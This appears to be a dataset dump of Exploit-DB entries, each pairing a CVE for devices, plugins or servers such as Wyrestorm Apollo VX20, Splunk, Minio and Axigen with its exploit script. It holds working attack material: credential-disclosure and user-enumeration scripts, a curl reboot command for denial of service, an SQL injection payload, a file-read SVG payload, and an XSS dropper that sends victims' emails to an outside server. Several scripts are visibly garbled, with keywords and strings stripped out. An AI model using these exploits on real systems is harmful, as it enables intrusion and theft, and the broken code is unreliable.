QLWD/code_shield huggingface dataset:
标题: Wyrestorm Apollo VX20 < 1.3.58 - Incorrect Access Control 'Credentials Disclosure' EDB-ID: 51816 CVE: 2024-25735 类型: REMOTE 平台: MULTIPLE 发布日期: 2024-02-26 漏洞利用脚本: [+] Credits: John Page (aka hyp3rlinx)  
[+] Website: hyp3rlinx.altervista.org
[+] Source:  http://hyp3rlinx.altervista.org/advisories/WYRESTORM_APOLLO_VX20_INCORRECT_ACCESS_CONTROL_CREDENTIALS_DISCLOSURE_CVE-2024-25735.txt
[+] twitter.com/hyp3rlinx
[+] ISR: ApparitionSec     


[Vendor]
www.wyrestorm.com


[Product]
APOLLO VX20 < 1.3.58


[Vulnerability Type]
Incorrect Access Control (Credentials Disclosure)


[Affected Component]
Web interface, config


[Affected Product Code Base]
APOLLO VX20 < 1.3.58, fixed in v1.3.58


[CVE Reference]
CVE-2024-25735


[Security Issue]
An issue was discovered on WyreStorm Apollo VX20 devices before 1.3.58.
Remote attackers can discover cleartext credentials for the SoftAP (access point) Router /device/config using an HTTP GET request.
The credentials are then returned in the HTTP response. curl -k https://192.168.x.x/device/config

E.g. HTTP response snippet:

:{"enable":"y","oncmd":"8004","offcmd":"8036"}},"screen":"dual","ipconflict":"y","wifi":{"auto":"y","band":"5","channel":"153"}
,"softAp":{"password":"12345678","router":"y","softAp":"y"}...


[Exploit/POC]
import requests

target="https://x.x.x.x"
res = requests.get(target+"/device/config", verify=False)

idx=res.content.find('{"password":')
if idx != -1:
    idx2=res.content.find('router')
    if idx2 != -1:
        print("[+] CVE-2024-25735 Credentials Disclosure")
        print("[+] " + res.content[idx + 1:idx2 + 11])
        print("[+] hyp3rlinx")
else:
    print("[!] Apollo vX20 Device not vulnerable...")



[Network Access]
Remote


[Severity]
High


[Disclosure Timeline]
Vendor Notification: January 18, 2024
Vendor released fixed firmware v1.3.58: February 2, 2024
February 11, 2024 : Public Disclosure


[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).

hyp3rlinx URL: https://www.exploit-db.com/exploits/51816
标题: Wyrestorm Apollo VX20 < 1.3.58 - Account Enumeration EDB-ID: 51814 CVE: 2024-25734 类型: REMOTE 平台: MULTIPLE 发布日期: 2024-02-26 漏洞利用脚本: [+] Credits: John Page (aka hyp3rlinx)  
[+] Website: hyp3rlinx.altervista.org
[+] Source:  http://hyp3rlinx.altervista.org/advisories/WYRESTORM_APOLLO_VX20_ACCOUNT_ENUMERATION_CVE-2024-25734.txt
[+] twitter.com/hyp3rlinx
[+] ISR: ApparitionSec     
 

[Vendor]
www.wyrestorm.com


[Product]
APOLLO VX20 < 1.3.58

[Vulnerability Type]
Account Enumeration


[CVE Reference]
CVE-2024-25734


[Security Issue]
An issue was discovered on WyreStorm Apollo VX20 devices before 1.3.58. The TELNET service prompts for a password only after a valid username is entered.
Attackers who can reach the Apollo VX20 Telnet service can determine valid accounts, this can potentially allow for brute force attack on a valid account.


[Exploit/POC]
TELNET x.x.x.x 23
username:aa
username:bb
username:admin
password:


[Network Access]
Remote


[Affected Product Code Base]
APOLLO VX20 - < 1.3.58, fixed in v1.3.58


[Severity]
Medium


[Disclosure Timeline]
Vendor Notification: January 18, 2024
Vendor released fixed firmware v1.3.58: February 2, 2024
February 11, 2024 : Public Disclosure



[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).

hyp3rlinx URL: https://www.exploit-db.com/exploits/51814
标题: Wyrestorm Apollo VX20 < 1.3.58 - Incorrect Access Control 'DoS' EDB-ID: 51815 CVE: 2024-25736 类型: DOS 平台: MULTIPLE 发布日期: 2024-02-26 漏洞利用脚本: [+] Credits: John Page (aka hyp3rlinx)  
[+] Website: hyp3rlinx.altervista.org
[+] Source:  http://hyp3rlinx.altervista.org/advisories/WYRESTORM_APOLLO_VX20_INCORRECT_ACCESS_CONTROL_DOS_CVE-2024-25736.txt
[+] twitter.com/hyp3rlinx
[+] ISR: ApparitionSec     


[Vendor]
www.wyrestorm.com


[Product]
APOLLO VX20 < 1.3.58


[Vulnerability Type]
Incorrect Access Control (DOS)


[Affected Product Code Base]
APOLLO VX20 < 1.3.58, fixed in v1.3.58


[Affected Component]
Web interface, reboot and reset commands


[CVE Reference]
CVE-2024-25736


[Security Issue]
An issue was discovered on WyreStorm Apollo VX20 devices before 1.3.58. Remote attackers can restart the device via a /device/reboot HTTP GET request.


[Exploit/POC]
curl -k https://192.168.x.x/device/reboot


[Network Access]
Remote


[Severity]
High


[Disclosure Timeline]
Vendor Notification: January 18, 2024
Vendor released fixed firmware v1.3.58: February 2, 2024
February 11, 2024 : Public Disclosure



[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).

hyp3rlinx URL: https://www.exploit-db.com/exploits/51815
标题: SureMDM On-premise < 6.31 - CAPTCHA Bypass User Enumeration EDB-ID: 51804 CVE: 2023-3897 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2024-02-19 漏洞利用脚本: # Exploit Title: SureMDM On-premise < 6.31 - CAPTCHA Bypass User Enumeration
# Date: 05/12/2023
# Exploit Author: Jonas Benjamin Friedli
# Vendor Homepage: https://www.42gears.com/products/mobile-device-management/
# Version: <= 6.31
# Tested on: 6.31
# CVE : CVE-2023-3897

import requests
import sys

def print_help():
    print("Usage: python script.py [URL] [UserListFile]")
    sys.exit(1)


def main():
    if len(sys.argv) != 3 or sys.argv[1] == '-h':
        print_help()

    url, user_list_file = sys.argv[1], sys.argv[2]

    try:
        with open(user_list_file, 'r') as file:
            users = file.read().splitlines()
    except FileNotFoundError:
        print(f"User list file '{user_list_file}' not found.")
        sys.exit(1)

    valid_users = []
    bypass_dir = "/ForgotPassword.aspx/ForgetPasswordRequest"
    enumerate_txt = "This User ID/Email ID is not registered."
    for index, user in enumerate(users):
        progress = (index + 1) / len(users) * 100
        print(f"Processing {index + 1}/{len(users)} users ({progress:.2f}%)", end="\r")

        data = {"UserId": user}
        response = requests.post(
            f"{url}{bypass_dir}",
            json=data,
            headers={"Content-Type": "application/json; charset=utf-8"}
        )

        if response.status_code == 200:
            response_data = response.json()
            if enumerate_txt not in response_data.get('d', {}).get('message', ''):
                valid_users.append(user)

    print("\nFinished processing users.")
    print(f"Valid Users Found: {len(valid_users)}")
    for user in valid_users:
        print(user)

if __name__ == "__main__":
    main() URL: https://www.exploit-db.com/exploits/51804
标题: Splunk 9.0.5 - admin account take over EDB-ID: 51747 CVE: 2023-32707 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2023-10-09 漏洞利用脚本: #!/usr/bin/env python3
#
# Exploit Title: Splunk 9.0.5 - admin account take over
# Author: [Redway Security](https://twitter.com/redwaysec))
# Discovery: [Santiago Lopez](https://twitter.com/santi_lopezz99)

#CVE: CVE-2023-32707

# Vendor Description: A low-privilege user who holds a role that has the `edit_user` capability assigned
# to it can escalate their privileges to that of the admin user by providing specially crafted web requests.
#
# Versions Affected: Splunk Enterprise **below** 9.0.5, 8.2.11, and 8.1.14.
#
 argparse
 requests
 random
 string
 base64

 urllib3
urllib3disable_warningsurllib3exceptionsInsecureRequestWarning


parser  argparseArgumentParserdescription
parseradd_argument required 
parseradd_argument required 
parseradd_argument required 
parseradd_argument required 
parseradd_argument action


args  parserparse_args


splunk_host  argshostsplit
splunk_username  argsusername
splunk_password  argspassword
target_user  argstarget_user
force_exploit  argsforce_exploit

splunk_port  argshostsplit  argshostsplit    
user_endpoint  f

credentials  f
base64_credentials  base64b64encodecredentialsencodedecode
headers  
 
 f


proxies  




response  requestsgetf
headersheaders proxiesproxies verify

 responsestatus_code  
affected_versions    
user  responsejson
splunk_version  user





f
 splunk_version  value  value  affected_versions  force_exploit
user_capabilities  user
   user_capabilities

f
new_password  joinrandomchoice
stringascii_letters  stringdigits  _  
change_password_payload  
 new_password
 
 

response  requestspostf
datachange_password_payload headersheaders proxiesproxies verify
 responsestatus_code  

f




f

f


f
exit URL: https://www.exploit-db.com/exploits/51747
标题: BoidCMS v2.0.0 - authenticated file upload vulnerability EDB-ID: 51741 CVE: 2023-38836 类型: WEBAPPS 平台: PHP 发布日期: 2023-10-09 漏洞利用脚本: #!/usr/bin/python3
# Exploit Title: BoidCMS v2.0.0 - authenticated file upload vulnerability
# Date: 08/21/2023
# Exploit Author: 1337kid
# Vendor Homepage: https://boidcms.github.io/#/
# Software Link: https://boidcms.github.io/BoidCMS.zip
# Version: <= 2.0.0
# Tested on: Ubuntu
# CVE : CVE-2023-38836

import requests
import re
import argparse

parser = argparse.ArgumentParser(description='Exploit for CVE-2023-38836')
parser.add_argument("-u", "--url", help="website url")
parseradd_argument  
parseradd_argument  
args  parserparse_args
base_urlargsurl
userargsuser
passwdargspasswd

 
 parserprint_help
 exit
 base_url   showhelp
 user   showhelp
 passwd   showhelp

 requestsSession  s
 reqsgetf
 tokenrefindallreqtext
 form_login_data
  user
  passwd
  
 
 form_login_datatoken
 spostfdataform_login_data
 
 reqsgetf
 tokenrefindallreqtext
 form_upld_data
  token
  
 
 
 php_code
    f
  fwritelinesphp_code
 
     
 spostffilesdataform_upld_data
 reqsgetf
  reqstatus_code  
  
  exit
 f
  
  cmd
   cmd exit
  reqsgetfparams   cmd
  reqtext URL: https://www.exploit-db.com/exploits/51741
标题: Media Library Assistant Wordpress Plugin - RCE and LFI EDB-ID: 51737 CVE: 2023-4634 类型: WEBAPPS 平台: PHP 发布日期: 2023-10-09 漏洞利用脚本: # Exploit Title: Media Library Assistant Wordpress Plugin - RCE and LFI 
# Date: 2023/09/05
# CVE: CVE-2023-4634
# Exploit Author: Florent MONTEL / Patrowl.io / @Pepitoh / Twitter @Pepito_oh
# Exploitation path: https://patrowl.io/blog-wordpress-media-library-rce-cve-2023-4634/
# Exploit: https://github.com/Patrowl/CVE-2023-4634/
# Vendor Homepage: https://fr.wordpress.org/plugins/media-library-assistant/
# Software Link: https://fr.wordpress.org/plugins/media-library-assistant/
# Version: < 3.10
# Tested on: 3.09
# Description:
# Media Library Assistant Wordpress Plugin in version < 3.10 is affected by an unauthenticated remote reference to Imagick() conversion which allows attacker to perform LFI and RCE depending on the Imagick configuration on the remote server. The affected page is: wp-content/plugins/media-library-assistant/includes/mla-stream-image.php


#LFI

Steps to trigger conversion of a remote SVG

Create a remote FTP server at ftp://X.X.X.X:21 (http will not work, see references)

Host 2 files :
- malicious.svg
- malicious.svg[1]


Payload:
For LFI, getting wp-config.php:

Both malicious.svg and malicious.svg[1] on the remote FTP:

<svg width="500" height="500"
xmlns:xlink="http://www.w3.org/1999/xlink">
xmlns="http://www.w3.org/2000/svg">
<image xlink:href= "text:../../../../wp-config.php" width="500" height="500" />
</svg>

Then trigger conversion with:
http://127.0.0.1/wp-content/plugins/media-library-assistant/includes/mla-stream-image.php?mla_stream_file=ftp://X.X.X.X:21/malicious.svg&mla_debug=log&mla_stream_frame=1


# Directory listing or RCE:
To achieve Directory listing or even RCE, it is a little more complicated. 

Use exploit available here:
https://github.com/Patrowl/CVE-2023-4634/

# Note
Exploitation will depend on the policy.xml Imagick configuration file installed on the remote server. All exploitation paths and scripts have been performed with a default wordpress configuration and installation (Wordpress has high chance to have the default Imagick configuration). URL: https://www.exploit-db.com/exploits/51737
标题: Wordpress Plugin Masterstudy LMS - 3.0.17 - Unauthenticated Instructor Account Creation EDB-ID: 51735 CVE: 2023-4278 类型: WEBAPPS 平台: PHP 发布日期: 2023-10-09 漏洞利用脚本: # Exploit Title:  Wordpress Plugin Masterstudy LMS - 3.0.17 - Unauthenticated Instructor Account Creation
# Google Dork: inurl:/user-public-account
# Date: 2023-09-04
# Exploit Author: Revan Arifio
# Vendor Homepage: https:/.org/plugins/masterstudy-lms-learning-management-system/
# Version: <= 3.0.17
# Tested on: Windows, Linux
# CVE : CVE-2023-4278

import requests
import os
import re
import time

banner  


banner


 target
    open_target  requestsgettarget
    search_nonce  research open_targettext
     search_nonce  
         search_nonce
    
        




 target nonce username password email

    req_data  
        username
        email
        password
        password
        
        
        
        
        
        
        
        
        target
        

    start  requestsposttarget nonce json  req_data

     startstatus_code  
        
    
        




target  

plugin_check  requestsgettarget
plugin_version  research plugin_checktext
int_version  plugin_versionreplace 
timesleep

 int_version  
    
    
    email   
    username   
    password   
    timesleep
    
    get_nonce  get_noncetarget
    
     get_nonce  
        get_nonce
        timesleep
        
        privesctarget get_nonce username password email URL: https://www.exploit-db.com/exploits/51735
标题: Minio 2022-07-29T19-40-48Z - Path traversal EDB-ID: 51734 CVE: 2022-35919 类型: WEBAPPS 平台: GO 发布日期: 2023-10-09 漏洞利用脚本: # Exploit Title: Minio 2022-07-29T19-40-48Z - Path traversal
# Date: 2023-09-02
# Exploit Author: Jenson Zhao
# Vendor Homepage: https://min.io/
# Software Link: https://github.com/minio/minio/
# Version: Up to (excluding) 2022-07-29T19-40-48Z
# Tested on: Windows 10
# CVE : CVE-2022-35919
# Required before execution: pip install minio,requests
import urllib.parse
import requests, json, re, datetime, argparse
from minio.credentials import Credentials
from minio.signer import sign_v4_s3


class MyMinio():
    secure  

     self base_url access_key secret_key
        selfcredits  Credentials
            access_keyaccess_key
            secret_keysecret_key
        
         base_urlstartswith  base_urlendswith
            selfurl  base_url  
         base_urlstartswith  base_urlendswith
            selfurl  base_url  
            selfsecure  
        
            

     self
        datetimes  datetimedatetimeutcnow
        datetime_str  datetimesstrftime
        urls  urllibparseurlparseselfurl
        headers  
             
             datetime_str
             urlsnetloc
        
        headers  sign_v4_s3
            method
            urlurls
            region
            headersheaders
            credentialsselfcredits
            content_sha256
            datedatetimes
        
         selfsecure
            response  requestsposturlselfurl headersheaders verify
        
            response  requestsposturlselfurl headersheaders
        
            message  jsonloadsresponsetext
            pattern  r
            matches  refindallpattern message
             matches
                
                
                 match  matches
                    match match match match match match
                                                        match
            
                
                
                message
         Exception  e
            
                
            responsetext


 __name__  
    parser  argparseArgumentParser
    parseradd_argument  required 
    parseradd_argument  required 
    parseradd_argument  required 
    args  parserparse_args
    minio  MyMinioargsurl argsaccesskey argssecretkey
    miniopoc URL: https://www.exploit-db.com/exploits/51734
标题: Clcknshop 1.0.0 - SQL Injection EDB-ID: 51729 CVE: 2023-4708 类型: WEBAPPS 平台: PHP 发布日期: 2023-10-09 漏洞利用脚本: # Exploit Title: Clcknshop 1.0.0 - SQL Injection
# Exploit Author: CraCkEr
# Date: 16/08/2023
# Vendor: Infosoftbd Solutions
# Vendor Homepage: https://infosoftbd.com/
# Software Link: https://infosoftbd.com/multitenancy-e-commerce-solution/
# Demo: https://kidszone.clckn.shop/
# Version: 1.0.0
# Tested on: Windows 10 Pro
# Impact: Database Access
# CVE: CVE-2023-4708
# CWE: CWE-89 - CWE-74 - CWE-707


## Greetings

The_PitBull, Raz0r, iNs, SadsouL, His0k4, Hussin X, Mr. SQL , MoizSid09, indoushka
CryptoJob (Twitter) twitter.com/0x0CryptoJob


## Description

SQL injection attacks can allow unauthorized access to sensitive data, modification of
data and crash the application or make it unavailable, leading to lost revenue and
damage to a company's reputation.


Path: /collection/all

GET parameter 'tag' is vulnerable to SQL Injection

https://website/collection/all?tag=[SQLi]

---
Parameter: tag (GET)
Type: time-based blind
Title: MySQL >= 5.0.12 time-based blind (query SLEEP)
Payload: tag=tshirt'XOR(SELECT(0)FROM(SELECT(SLEEP(6)))a)XOR'Z
--- URL: https://www.exploit-db.com/exploits/51729
标题: Axigen < 10.3.3.47, 10.2.3.12 - Reflected XSS EDB-ID: 51722 CVE: 2022-31470 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2023-09-08 漏洞利用脚本: # Exploit Title: Axigen < 10.3.3.47, 10.2.3.12 - Reflected XSS
# Google Dork: inurl:passwordexpired=yes
# Date: 2023-08-21
# Exploit Author: AmirZargham
# Vendor Homepage: https://www.axigen.com/
# Software Link: https://www.axigen.com/mail-server/download/
# Version: (10.5.0–4370c946) and older version of Axigen WebMail
# Tested on: firefox,chrome
# CVE: CVE-2022-31470

Exploit
We use the second Reflected XSS to exploit this vulnerability, create a
malicious link, and steal user emails.

Dropper code
This dropper code, loads and executes JavaScript exploit code from a remote
server.

');
x = document.createElement('script');
x.src = 'https://example.com/exploit.js';
window.addEventListener('DOMContentLoaded',function y(){
  document.body.appendChild(x)
})//



Encoded form

/index.hsp?m=%27)%3Bx%3Ddocument.createElement(%27script%27)%3Bx.src%3D%27
https://example.com/exploit.js%27%3Bwindow.addEventListener(%27DOMContentLoaded%27,function+y(){document.body.appendChild(x)})//


Exploit code

xhr1 = new XMLHttpRequest(), xhr2 = new XMLHttpRequest(), xhr3 = new
XMLHttpRequest();
oob_server = 'https://example.com/';
var script_tag = document.createElement('script');

xhr1.open('GET', '/', true);
xhr1.onreadystatechange = () => {
    if (xhr1.readyState === XMLHttpRequest.DONE) {
        _h_cookie = new URL(xhr1.responseURL).search.split("=")[1];
        xhr2.open('PATCH', `/api/v1/conversations/MQ/?_h=${_h_cookie}`,
true);
        xhr2.setRequestHeader('Content-Type', 'application/json');
        xhr2.onreadystatechange = () => {
            if (xhr2.readyState === XMLHttpRequest.DONE) {
                if (xhr2.status === 401){
                    script_tag.src =
`${oob_server}?status=session_expired&domain=${document.domain}`;
                    document.body.appendChild(script_tag);
                } else {
                    resp = xhr2.responseText;
                    folderId = JSON.parse(resp)["mails"][0]["folderId"];
                    xhr3.open('GET',
`/api/v1/conversations?folderId=${folderId}&_h=${_h_cookie}`, true);
                    xhr3.onreadystatechange = () => {
                        if (xhr3.readyState === XMLHttpRequest.DONE) {
                            emails = xhr3.responseText;
                            script_tag.src =
`${oob_server}?status=ok&domain=${document.domain}&emails=${btoa(emails)}`;
                            document.body.appendChild(script_tag);
                        }
                    };
                    xhr3.send();
                }
            }
        };
        var body = JSON.stringify({isUnread: false});
        xhr2.send(body);
    }
};
xhr1.send();


Combining dropper and exploit
You can host the exploit code somewhere and then address it in the dropper
code. URL: https://www.exploit-db.com/exploits/51722
标题: Techview LA-5570 Wireless Gateway Home Automation Controller - Multiple Vulnerabilities EDB-ID: 51720 CVE: 2023-34723 类型: REMOTE 平台: HARDWARE 发布日期: 2023-09-08 漏洞利用脚本: # Exploit Title: Techview LA-5570 Wireless Gateway Home Automation Controller - Multiple Vulnerabilities
# Google Dork: N/A
# Date: 25/08/2023
# Exploit Author: The Security Team [exploitsecurity.io<http://exploitsecurity.io>]
# Vendor Homepage: https://www.jaycar.com.au/wireless-gateway-home-automation-controller/p/LA5570
# Software Link: N/A
# Version: 1.0.19_T53
# Tested on: MACOS/Linux
# CVE : CVE-2023-34723
# POC Code Available: https://www.exploitsecurity.io/post/cve-2023-34723-cve-2023-34724-cve-2023-34725



 requests
 sys
 time  sleep
 urllib3exceptions  InsecureRequestWarning
 colorama  init
 colorama  Fore Back Style
 re
 os
 ipaddress
requestspackagesurllib3disable_warningscategoryInsecureRequestWarning

 
     osname  
        clr_cmd  
     osname  
        clr_cmd  
    ossystemclr_cmd
     
     
     ForeRED  StyleRESET_ALL
     
     sysargv   
     

 
     f

 target
    domain  target
    
        url  domainstrip
        r  requestsgeturl verify timeout
          flush end
        sleep
         flush end
        sleep
         flush end
        sleep
         flush end
           rtext
            data   rtextsplit
             f
        
             ForeRED   StyleRESET_ALL
     TimeoutError
         ForeRED   StyleRESET_ALL
     KeyboardInterrupt
        
     requestsexceptionsTimeout
         ForeRED   StyleRESET_ALL
        
        
 __name__  
     sysargv
        banner
        target  sysargv
        
            validate  ipaddressip_addresstarget
             validate
                main target
         ValueError  e
             ForeRED    e    StyleRESET_ALL 
    
         ForeRED  f  StyleRESET_ALL URL: https://www.exploit-db.com/exploits/51720
标题: Wordpress Plugin Elementor 3.5.5 - Iframe Injection EDB-ID: 51716 CVE: 2022-4953 类型: WEBAPPS 平台: PHP 发布日期: 2023-09-08 漏洞利用脚本: # Exploit Title: Wordpress Plugin Elementor < 3.5.5 - Iframe Injection
# Date: 28.08.2023
# Exploit Author: Miguel Santareno
# Vendor Homepage: https://elementor.com/
# Version: < 3.5.5
# Tested on: Google and Firefox latest version
# CVE : CVE-2022-4953

# 1. Description
The plugin does not filter out user-controlled URLs from being loaded into the DOM. This could be used to inject rogue iframes that point to malicious URLs.


# 2. Proof of Concept (PoC)
Proof of Concept:
https://vulnerable-site.tld/#elementor-action:action=lightbox&settings=eyJ0eXBlIjoidmlkZW8iLCJ1cmwiOiJodHRwczovL2Rvd25sb2FkbW9yZXJhbS5jb20vIn0K URL: https://www.exploit-db.com/exploits/51716